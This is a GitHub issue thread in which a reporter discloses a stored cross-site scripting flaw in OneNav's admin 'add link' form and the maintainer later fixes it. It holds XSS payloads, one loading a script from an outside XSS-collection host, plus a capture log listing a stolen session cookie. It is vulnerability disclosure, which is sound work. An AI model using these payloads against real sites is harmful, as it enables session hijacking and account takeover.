

New issue

[Jump to bottom](#)

## OneNav's add link function exists xss vul #26

🔒 Closed

alex123-2star opened this issue on Aug 5, 2021 · 8 comments

Labels

bug

alex123-2star commented on Aug 5, 2021

add link function path

onenav.com/index.php?c=admin&page=add\_link

OneNav后台管理

分类管理

分类列表

添加分类

链接管理

我的链接

添加链接

书签导入

高级功能

自定义JavaScript

添加链接

URL 请输入有效链接

链接名称 请输入链接名称

所属分类 请选择

权重 0

是否私有 ☒ 否

描述 请输入内容

添加 识别 重置

input xss payload 1 : "><script>alert('XSS')</script>

onenav.com/index.php?c=admin&page=add\_link

OneNav后台管理

分类管理

分类列表

添加分类

链接管理

我的链接

添加链接

书签导入

高级功能

自定义JavaScript

添加链接

URL http://www.onenav.com/index.php?c=admin&page=add\_link

链接名称 "><script>alert('XSS')</script>

所属分类 默认分类

权重 0

是否私有 ☒ 否

描述 "><script>alert('XSS')</script>

添加 识别 重置

click 添加 button

onenav.com/index.php?c=admin&page=link\_list

OneNav后台管理

分类管理

分类列表

添加分类

链接管理

我的链接

添加链接

书签导入

高级功能

自定义JavaScript

添加链接

www.onenav.com 显示 XSS

确定

删除选中

显示 隐藏 刷新

alert xss success

input xss payload 2:<script src=//xss.pt/NZ9j></script>

← → ↺ 不安全 onenav.com/index.php?c=admin&page=edit\_link&id=10

应用 General 工作台 漏洞发现情况 漏洞paper SRC 系统知识学习 在线工具 XSS平台 技术积累导航 资源共享 查公司

OneNav后台管理 前台首页 分类列表 添加分类 我的链接 添加链接

分类管理 分类列表 添加分类 链接管理 我的链接 添加链接 书签导入 高级功能 自定义JavaScript

URL http://www.onenav.com/index.php?c=admin&page=add\_link1

链接名称 <script src=//xss.pl/NZ9j></script>

选择框 默认分类

权重 0

是否私有 否

描述 <script src=//xss.pl/NZ9j></script>

更新 识别 重置

Get user cookie success

alex123-2star commented on Aug 5, 2021 Author

XSS工具 用户: Gajira 个人资料 IP-URL黑名单设置 退出登录

项目内容 配置 查看代码

项目名称: onenav test

Domain: 全部 此处可选择需要查看的域名

<input type="checkbox"/> +全部	时间	接收的内容	Request Headers	操作
<input type="checkbox"/> +展开	2021-08-05 11:56:39	<ul style="list-style-type: none"><li>location : http://www.onenav.</li></ul>	<ul style="list-style-type: none"><li>HTTP_REFERER : http://ww</li></ul>	删除
<input type="checkbox"/> -折叠	2021-08-05 11:47:03	<ul style="list-style-type: none"><li>location : http://www.onenav.com/index.php?c=admin&amp;page=link_list</li><li>toplocation : http://www.onenav.com/index.php?c=admin&amp;page=link_list</li><li>cookie : key=725028a204934fb206f6bee9bc419e6b</li><li>opener :</li></ul>	<ul style="list-style-type: none"><li>HTTP_REFERER : http://www.onenav.com/</li><li>HTTP_USER_AGENT : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36</li><li>REMOTE_ADDR : 210.61.9.1200</li><li>IP-ADDR :</li></ul>	删除

1 共1页

选中项操作: 删除

helloxz commented on Aug 5, 2021 Owner

您好，感谢您的反馈，目前后台确实没有做XSS过滤，一般正常的用户，不会通过后台权限给自己注入XSS代码，除非帐号、密码已经泄露。不过始终也算一个潜在风险，后续会增加XSS过滤和验证。

helloxz added the enhancement label on Aug 5, 2021

nu11security commented on Aug 7, 2021 • edited

Yes, there has a big problem:  
Proof: <https://streamable.com/ubtzio>, so, please fix add\_link feature on your already created account, dear friend.  
So, If you have some malicious user with admin rights or whatever, the game will be over. In another scenario, some malicious user will be sending an email with a malicious execution code, and again, the game is over. Fix:  
You must sanitize these two environments, the user and the admin account platforms. No matter what happened, and must create special checks for add\_link feature when the users using POST or GET parameters. More: You don't have any HTTP or HTTPS filter for inbound and outbound traffic, and this is a BIG problem =)  
Love and Peace KR @nu11security

OS-WS commented on Aug 8, 2021

Hi @helloxz ,  
Are you planning to fix this issue?

helloxz commented on Aug 8, 2021

Owner

@nu11secu1ty @OS-WS @alex123-2star Hello everyone, this issue is expected to be fixed in the next version, thanks for your feedback.

helloxz added bug and removed enhancement labels on Aug 8, 2021

nu11secu1ty commented on Aug 9, 2021

Ok txn and BR

helloxz commented on Feb 16

Owner

0.9.13 已修复这个漏洞，感谢支持。

helloxz closed this as completed on Feb 16

nu11secu1ty commented on Feb 18

<3

Assignees

No one assigned

Labels

bug

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

4 participants

